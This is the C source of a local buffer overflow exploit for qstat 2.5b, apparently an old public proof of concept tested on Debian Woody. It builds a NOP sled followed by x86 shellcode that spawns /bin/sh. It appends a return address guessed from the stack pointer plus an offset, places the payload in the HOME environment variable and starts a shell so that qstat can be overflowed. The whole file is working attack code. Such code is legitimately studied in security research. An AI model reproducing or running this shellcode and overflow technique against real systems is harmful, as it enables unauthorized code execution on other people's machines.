/* qstat.c - qstat 2.5b exploit * * Info: * Shellcode will be placed in HOME variable, and then a new shell will be * started. Start qstat in the new shell and voila! Qstat is exploited :) * * Test on Debian GNU/Linux (Woody) with offset 2000 * * Oscar Linderholm */ #include #include #include #include char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; long get_sp (void) { __asm__ ("movl %esp, %eax"); } int main (int argc, char *argv[]) { char buffer[2048]; long retaddr, offset; int i, j; if (argc != 2) { printf ("Usage: %s \n", argv[0]); return 0; } bzero (buffer, 2048); offset = atoi (argv[1]); retaddr = get_sp() + offset; for (i = 0; i < 995; i++) buffer[i] = '\x90'; for (j = 0; j < strlen (shellcode); j++, i++) buffer[i] = shellcode[j]; *(long *)&buffer[i] = retaddr; setenv ("HOME", buffer, 1); system ("/bin/sh"); return 0; }

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